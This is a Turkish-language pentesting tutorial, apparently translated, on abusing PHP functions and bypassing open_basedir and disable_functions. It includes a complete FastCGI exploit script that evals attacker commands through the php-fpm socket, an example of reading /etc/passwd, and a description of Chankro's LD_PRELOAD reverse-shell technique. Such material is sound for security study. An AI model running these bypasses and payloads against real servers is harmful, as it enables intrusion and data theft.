pcntl_exec - Bir programı çalıştırır (modern ve o kadar da modern olmayan PHP'de bu fonksiyonu kullanmak için varsayılan olarak pcntl.so modülünü yüklemeniz gerekir)
mail / mb_send_mail - Bu fonksiyon e-posta göndermek için kullanılır, ancak $options parametresine keyfi komutlar enjekte etmek için de kötüye kullanılabilir. Bunun nedeni, php mail fonksiyonu genellikle sistemde sendmail ikili dosyasını çağırması ve ekstra seçenekler koymanıza izin vermesidir. Ancak, yürütülen komutun çıktısını göremeyeceksiniz, bu nedenle çıktıyı bir dosyaya yazan bir shell script oluşturmanız, bunu mail ile çalıştırmanız ve çıktıyı yazdırmanız önerilir:
Eval dışında, PHP kodunu çalıştırmanın başka yolları da vardır: include/require, Yerel Dosya Dahil etme ve Uzak Dosya Dahil etme zafiyetleri şeklinde uzaktan kod çalıştırmak için kullanılabilir.
${<php code>} // If your input gets reflected in any PHP string, it will be executed.eval()assert()// identical to eval()preg_replace('/.*/e',...)// e does an eval() on the matchcreate_function()// Create a function and use eval()include()include_once()require()require_once()$_GET['func_name']($_GET['argument']);$func =newReflectionFunction($_GET['func_name']);$func->invoke();// or$func->invokeArgs(array());// or serialize/unserialize function
disable_functions & open_basedir
Devre dışı bırakılan fonksiyonlar, PHP'de .ini dosyalarında yapılandırılabilen bir ayardır ve belirtilen fonksiyonların kullanımını yasaklar. Open basedir, PHP'ye erişebileceği klasörü gösteren ayardır.
PHP ayarı genellikle /etc/php7/conf.d veya benzeri bir yolda yapılandırılır.
Her iki yapılandırma da phpinfo() çıktısında görülebilir:
open_basedir Bypass
open_basedir, PHP'nin erişebileceği klasörleri yapılandırır, bu nedenle bu klasörlerin dışındaki herhangi bir dosyayı yazma/okuma/çalıştırma işlemi yapamazsınız, ayrıca diğer dizinleri listeleyemezsiniz.
Ancak, bir şekilde rastgele PHP kodu çalıştırabiliyorsanız, kısıtlamayı aşmak için aşağıdaki kod parçalarını deneyebilirsiniz.
glob:// ile dizin listeleme bypass'ı
Bu ilk örnekte, bazı yol bypass'ı ile glob:// protokolü kullanılır:
<?php$file_list =array();$it =newDirectoryIterator("glob:///v??/run/*");foreach($it as $f) {$file_list[] = $f->__toString();}$it =newDirectoryIterator("glob:///v??/run/.*");foreach($it as $f) {$file_list[] = $f->__toString();}sort($file_list);foreach($file_list as $f){echo"{$f}<br/>";}
Not1: Yolda /e??/* kullanarak /etc/* ve diğer klasörleri listeleyebilirsiniz.
Not2: Kodun bir kısmının tekrarlandığı görünüyor, ama bu aslında gereklidir!
Not3: Bu örnek yalnızca klasörleri listelemek için yararlıdır, dosyaları okumak için değil.
Tam open_basedir bypass'ı FastCGI'yi istismar etme
Eğer PHP-FPM ve FastCGI hakkında daha fazla bilgi edinmek istiyorsanız bu sayfanın ilk bölümünü okuyabilirsiniz.
Eğer php-fpm yapılandırılmışsa, bunu open_basedir'i tamamen atlamak için istismar edebilirsiniz:
İlk yapmanız gereken şey php-fpm'in unix soketinin nerede olduğunu bulmaktır. Genellikle /var/run altında bulunur, bu yüzden önceki kodu kullanarak dizini listeleyip bulabilirsiniz.
Kod buradan alınmıştır.
<?php/*** Note : Code is released under the GNU LGPL** Please do not change the header of this file** This library is free software; you can redistribute it and/or modify it under the terms of the GNU* Lesser General Public License as published by the Free Software Foundation; either version 2 of* the License, or (at your option) any later version.** This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.** See the GNU Lesser General Public License for more details.*//*** Handles communication with a FastCGI application** @author Pierrick Charron <pierrick@webstart.fr>* @version 1.0*/classFCGIClient{const VERSION_1 =1;const BEGIN_REQUEST =1;const ABORT_REQUEST =2;const END_REQUEST =3;const PARAMS =4;const STDIN =5;const STDOUT =6;const STDERR =7;const DATA =8;const GET_VALUES =9;const GET_VALUES_RESULT =10;const UNKNOWN_TYPE =11;const MAXTYPE =self::UNKNOWN_TYPE;const RESPONDER =1;const AUTHORIZER =2;const FILTER =3;const REQUEST_COMPLETE =0;const CANT_MPX_CONN =1;const OVERLOADED =2;const UNKNOWN_ROLE =3;const MAX_CONNS ='MAX_CONNS';const MAX_REQS ='MAX_REQS';const MPXS_CONNS ='MPXS_CONNS';const HEADER_LEN =8;/*** Socket* @varResource*/private $_sock =null;/*** Host* @varString*/private $_host =null;/*** Port* @varInteger*/private $_port =null;/*** Keep Alive* @varBoolean*/private $_keepAlive =false;/*** Constructor** @paramString $host Host of the FastCGI application* @paramInteger $port Port of the FastCGI application*/publicfunction__construct($host, $port =9000) // and default value for port, just for unixdomain socket{$this->_host = $host;$this->_port = $port;}/*** Define whether or not the FastCGI application should keep the connection* alive at the end of a request** @paramBoolean $b true if the connection should stay alive, false otherwise*/publicfunctionsetKeepAlive($b){$this->_keepAlive = (boolean)$b;if (!$this->_keepAlive &&$this->_sock) {fclose($this->_sock);}}/*** Get the keep alive status** @returnBoolean true if the connection should stay alive, false otherwise*/publicfunctiongetKeepAlive(){return$this->_keepAlive;}/*** Create a connection to the FastCGI application*/privatefunctionconnect(){if (!$this->_sock) {//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);$this->_sock =stream_socket_client($this->_host, $errno, $errstr,5);if (!$this->_sock) {thrownewException('Unable to connect to FastCGI application');}}}/*** Build a FastCGI packet** @paramInteger $type Type of the packet* @paramString $content Content of the packet* @paramInteger $requestId RequestId*/privatefunctionbuildPacket($type, $content, $requestId =1){$clen =strlen($content);returnchr(self::VERSION_1)/* version */.chr($type)/* type */.chr(($requestId >>8) &0xFF)/* requestIdB1 */.chr($requestId &0xFF)/* requestIdB0 */.chr(($clen >>8 ) &0xFF)/* contentLengthB1 */.chr($clen &0xFF)/* contentLengthB0 */.chr(0)/* paddingLength */.chr(0)/* reserved */. $content; /* content */}/*** Build an FastCGI Name value pair** @paramString $name Name* @paramString $value Value* @returnString FastCGI Name value pair*/privatefunctionbuildNvpair($name, $value){$nlen =strlen($name);$vlen =strlen($value);if ($nlen <128) {/* nameLengthB0 */$nvpair =chr($nlen);} else {/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */$nvpair =chr(($nlen >>24) |0x80).chr(($nlen >>16) &0xFF).chr(($nlen >>8) &0xFF).chr($nlen &0xFF);}if ($vlen <128) {/* valueLengthB0 */$nvpair .=chr($vlen);} else {/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */$nvpair .=chr(($vlen >>24) |0x80).chr(($vlen >>16) &0xFF).chr(($vlen >>8) &0xFF).chr($vlen &0xFF);}/* nameData & valueData */return $nvpair . $name . $value;}/*** Read a set of FastCGI Name value pairs** @paramString $data Data containing the set of FastCGI NVPair* @returnarray of NVPair*/privatefunctionreadNvpair($data, $length =null){$array =array();if ($length ===null) {$length =strlen($data);}$p =0;while ($p != $length) {$nlen =ord($data{$p++});if ($nlen >=128) {$nlen = ($nlen &0x7F<<24);$nlen |= (ord($data{$p++})<<16);$nlen |= (ord($data{$p++})<<8);$nlen |= (ord($data{$p++}));}$vlen =ord($data{$p++});if ($vlen >=128) {$vlen = ($nlen &0x7F<<24);$vlen |= (ord($data{$p++})<<16);$vlen |= (ord($data{$p++})<<8);$vlen |= (ord($data{$p++}));}$array[substr($data, $p, $nlen)] =substr($data, $p+$nlen, $vlen);$p += ($nlen + $vlen);}return $array;}/*** Decode a FastCGI Packet** @paramString $data String containing all the packet* @returnarray*/privatefunctiondecodePacketHeader($data){$ret =array();$ret['version'] =ord($data{0});$ret['type'] =ord($data{1});$ret['requestId'] = (ord($data{2})<<8) +ord($data{3});$ret['contentLength'] = (ord($data{4})<<8) +ord($data{5});$ret['paddingLength'] =ord($data{6});$ret['reserved'] =ord($data{7});return $ret;}/*** Read a FastCGI Packet** @returnarray*/privatefunctionreadPacket(){if ($packet =fread($this->_sock,self::HEADER_LEN)) {$resp =$this->decodePacketHeader($packet);$resp['content'] ='';if ($resp['contentLength']) {$len = $resp['contentLength'];while ($len && $buf=fread($this->_sock, $len)) {$len -=strlen($buf);$resp['content'] .= $buf;}}if ($resp['paddingLength']) {$buf=fread($this->_sock, $resp['paddingLength']);}return $resp;} else {returnfalse;}}/*** Get Informations on the FastCGI application** @paramarray $requestedInfo information to retrieve* @returnarray*/publicfunctiongetValues(array $requestedInfo){$this->connect();$request ='';foreach ($requestedInfo as $info) {$request .=$this->buildNvpair($info,'');}fwrite($this->_sock,$this->buildPacket(self::GET_VALUES, $request,0));$resp =$this->readPacket();if ($resp['type'] ==self::GET_VALUES_RESULT) {return$this->readNvpair($resp['content'], $resp['length']);} else {thrownewException('Unexpected response type, expecting GET_VALUES_RESULT');}}/*** Execute a request to the FastCGI application** @paramarray $params Array of parameters* @paramString $stdin Content* @returnString*/publicfunctionrequest(array $params, $stdin){$response ='';$this->connect();$request =$this->buildPacket(self::BEGIN_REQUEST,chr(0).chr(self::RESPONDER).chr((int) $this->_keepAlive).str_repeat(chr(0),5));$paramsRequest ='';foreach ($params as $key => $value) {$paramsRequest .=$this->buildNvpair($key, $value);}if ($paramsRequest) {$request .=$this->buildPacket(self::PARAMS, $paramsRequest);}$request .=$this->buildPacket(self::PARAMS,'');if ($stdin) {$request .=$this->buildPacket(self::STDIN, $stdin);}$request .=$this->buildPacket(self::STDIN,'');fwrite($this->_sock, $request);do {$resp =$this->readPacket();if ($resp['type'] ==self::STDOUT || $resp['type'] ==self::STDERR) {$response .= $resp['content'];}} while ($resp && $resp['type'] !=self::END_REQUEST);var_dump($resp);if (!is_array($resp)) {thrownewException('Bad request');}switch (ord($resp['content']{4})) {caseself::CANT_MPX_CONN:thrownewException('This app can\'t multiplex [CANT_MPX_CONN]');break;caseself::OVERLOADED:thrownewException('New request rejected; too busy [OVERLOADED]');break;caseself::UNKNOWN_ROLE:thrownewException('Role value not known [UNKNOWN_ROLE]');break;caseself::REQUEST_COMPLETE:return $response;}}}?><?php// real exploit start hereif (!isset($_REQUEST['cmd'])) {die("Check your input\n");}if (!isset($_REQUEST['filepath'])) {$filepath =__FILE__;}else{$filepath = $_REQUEST['filepath'];}$req ='/'.basename($filepath);$uri = $req .'?'.'command='.$_REQUEST['cmd'];$client =newFCGIClient("unix:///var/run/php-fpm.sock",-1);$code ="<?php eval(\$_REQUEST['command']);?>"; // php payload -- Doesnt do anything$php_value ="allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";$params =array('GATEWAY_INTERFACE'=>'FastCGI/1.0','REQUEST_METHOD'=>'POST','SCRIPT_FILENAME'=> $filepath,'SCRIPT_NAME'=> $req,'QUERY_STRING'=>'command='.$_REQUEST['cmd'],'REQUEST_URI'=> $uri,'DOCUMENT_URI'=> $req,#'DOCUMENT_ROOT' => '/','PHP_VALUE'=> $php_value,'SERVER_SOFTWARE'=>'80sec/wofeiwo','REMOTE_ADDR'=>'127.0.0.1','REMOTE_PORT'=>'9985','SERVER_ADDR'=>'127.0.0.1','SERVER_PORT'=>'80','SERVER_NAME'=>'localhost','SERVER_PROTOCOL'=>'HTTP/1.1','CONTENT_LENGTH'=>strlen($code));// print_r($_REQUEST);// print_r($params);//echo "Call: $uri\n\n";echo $client->request($params, $code)."\n";?>
Bu scriptler, unix socket of php-fpm ile iletişim kurarak rastgele kod çalıştırmak için kullanılacaktır (genellikle fpm kullanılıyorsa /var/run içinde bulunur). Gönderilen PHP_VALUE niteliği ile open_basedir ayarları geçersiz kılınacaktır.
Gönderdiğiniz PHP kodunu cmd parametresi içinde çalıştırmak için eval'in nasıl kullanıldığına dikkat edin.
Ayrıca yorum satırı 324'e dikkat edin, bunu yorumdan çıkarabilir ve payload otomatik olarak verilen URL'ye bağlanarak orada bulunan PHP kodunu çalıştıracaktır.http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd'); adresine erişerek /etc/passwd dosyasının içeriğini alabilirsiniz.
Aynı şekilde open_basedir yapılandırmasını geçersiz kıldığımız gibi disable_functions'ı da geçersiz kılabileceğinizi düşünebilirsiniz. Deneyin, ama çalışmayacak, görünüşe göre disable_functions yalnızca bir .ini php yapılandırma dosyasında yapılandırılabilir ve PHP_VALUE kullanarak yaptığınız değişiklikler bu özel ayar üzerinde etkili olmayacaktır.
disable_functions Bypass
Eğer bir makinede PHP kodu çalıştırmayı başarırsanız, muhtemelen bir sonraki seviyeye geçmek ve rastgele sistem komutları çalıştırmak istersiniz. Bu durumda, çoğu veya tüm PHP fonksiyonlarının sistem komutlarını çalıştırmaya izin vermek için devre dışı bırakıldığını keşfetmek yaygındır.
Bu kısıtlamayı nasıl aşabileceğinizi görelim (eğer aşabilirseniz)
Otomatik bypass keşfi
https://github.com/teambi0s/dfunc-bypasser aracını kullanabilirsiniz ve bu araç, disable_functions'ı bypass etmek için hangi fonksiyonu (varsa) kullanabileceğinizi gösterecektir.
Diğer sistem fonksiyonları kullanarak bypass
Bu sayfanın başına geri dönün ve komut çalıştırma fonksiyonlarından herhangi birinin devre dışı bırakılmadığını ve ortamda mevcut olup olmadığını kontrol edin. Eğer bunlardan sadece 1 tanesini bulursanız, rastgele sistem komutları çalıştırmak için bunu kullanabileceksiniz.
LD_PRELOAD bypass
PHP'de mail() gibi bazı fonksiyonların sistem içinde ikili dosyaları çalıştıracağı iyi bilinmektedir. Bu nedenle, LD_PRELOAD ortam değişkenini kullanarak bunları kötüye kullanabilir ve herhangi bir şeyi çalıştırabilen rastgele bir kütüphaneyi yüklemelerini sağlayabilirsiniz.
LD_PRELOAD ile disable_functions'ı bypass etmek için kullanılabilecek fonksiyonlar
Bu yanlış yapılandırmayı istismar etmek için Chankro kullanabilirsiniz. Bu, yüklemeniz gereken bir PHP istismarı oluşturacak bir araçtır. Bu istismarı savunmasız sunucuya yükleyip çalıştırmalısınız (web üzerinden erişin).
Chankro, kurbanın diskinin içine kütüphane ve ters shell yazacak ve LD_PRELOAD hilesi + PHP mail() fonksiyonunu kullanarak ters shell'i çalıştıracaktır.
Chankro'yu kullanmak için mail ve putenvdisable_functions listesinde yer almamalıdır.
Aşağıdaki örnekte, arch 64 için bir chankro istismarı nasıl oluşturulacağını görebilirsiniz; bu, whoami komutunu çalıştıracak ve çıktıyı /tmp/chankro_shell.out dosyasına kaydedecek, chankro kütüphane ve yükü/tmp dizinine yazacak ve son istismarbicho.php olarak adlandırılacak (bu, kurbanın sunucusuna yüklemeniz gereken dosyadır):
PHP kullanarak dosya okuyabilir ve yazabilir, dizinler oluşturabilir ve izinleri değiştirebilirsiniz.
Hatta veritabanlarını dökebilirsiniz.
Belki PHP kullanarak kutuyu numaralandırarak ayrıcalıkları yükseltmenin/komutları çalıştırmanın bir yolunu bulabilirsiniz (örneğin, bazı özel ssh anahtarlarını okuyarak).
Bu fonksiyonlar, saldırganın seçimine göre bir fonksiyonu çağırmak için kullanılabilecek bir dize parametresi kabul eder. Fonksiyona bağlı olarak, saldırganın bir parametre geçirme yeteneği olabilir veya olmayabilir. Bu durumda, phpinfo() gibi bir Bilgi Sızdırma fonksiyonu kullanılabilir.
// Function => Position of callback arguments'ob_start'=>0,'array_diff_uassoc'=>-1,'array_diff_ukey'=>-1,'array_filter'=>1,'array_intersect_uassoc'=>-1,'array_intersect_ukey'=>-1,'array_map'=>0,'array_reduce'=>1,'array_udiff_assoc'=>-1,'array_udiff_uassoc'=>array(-1,-2),'array_udiff'=>-1,'array_uintersect_assoc'=>-1,'array_uintersect_uassoc'=>array(-1,-2),'array_uintersect'=>-1,'array_walk_recursive'=>1,'array_walk'=>1,'assert_options'=>1,'uasort'=>1,'uksort'=>1,'usort'=>1,'preg_replace_callback'=>1,'spl_autoload_register'=>0,'iterator_apply'=>1,'call_user_func'=>0,'call_user_func_array'=>0,'register_shutdown_function'=>0,'register_tick_function'=>0,'set_error_handler'=>0,'set_exception_handler'=>0,'session_set_save_handler'=>array(0,1,2,3,4,5),'sqlite_create_aggregate'=>array(2,3),'sqlite_create_function'=>2,
Bilgi Sızıntısı
Bu fonksiyon çağrılarının çoğu bir sink değildir. Ancak, dönen verilerden herhangi biri bir saldırgan tarafından görülebiliyorsa bu kesinlikle bir zayıflık olabilir. Eğer bir saldırgan phpinfo() görebiliyorsa, bu kesinlikle bir zayıflıktır.
extract // Opens the door for register_globals attacks (see study in scarlet).parse_str // works like extract if only one argument is given.putenvini_setmail // has CRLF injection in the 3rd parameter, opens the door for spam.header // on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area.proc_niceproc_terminateproc_closepfsockopenfsockopenapache_child_terminateposix_killposix_mkfifoposix_setpgidposix_setsidposix_setuid
Dosya Sistemi Fonksiyonları
RATS'a göre php'deki tüm dosya sistemi fonksiyonları kötü. Bunlardan bazıları saldırgan için çok faydalı görünmüyor. Diğerleri ise düşündüğünüzden daha faydalı. Örneğin, allow_url_fopen=On ise bir url dosya yolu olarak kullanılabilir, bu nedenle copy($_GET['s'], $_GET['d']); çağrısı, bir PHP betiğini sistemin herhangi bir yerine yüklemek için kullanılabilir. Ayrıca, bir site GET ile gönderilen bir isteğe karşı savunmasızsa, bu dosya sistemi fonksiyonlarının her biri, sunucunuz aracılığıyla başka bir ana bilgisayara saldırı yönlendirmek için kötüye kullanılabilir.
Dosya sistemine yazma (kısmen okuma ile kombinasyon halinde)
chgrpchmodchowncopyfile_put_contentslchgrplchownlinkmkdirmove_uploaded_filerenamermdirsymlinktempnamtouchunlinkimagepng // 2nd parameter is a path.imagewbmp // 2nd parameter is a path.image2wbmp // 2nd parameter is a path.imagejpeg // 2nd parameter is a path.imagexbm // 2nd parameter is a path.imagegif // 2nd parameter is a path.imagegd // 2nd parameter is a path.imagegd2 // 2nd parameter is a path.iptcembedftp_getftp_nb_getscandir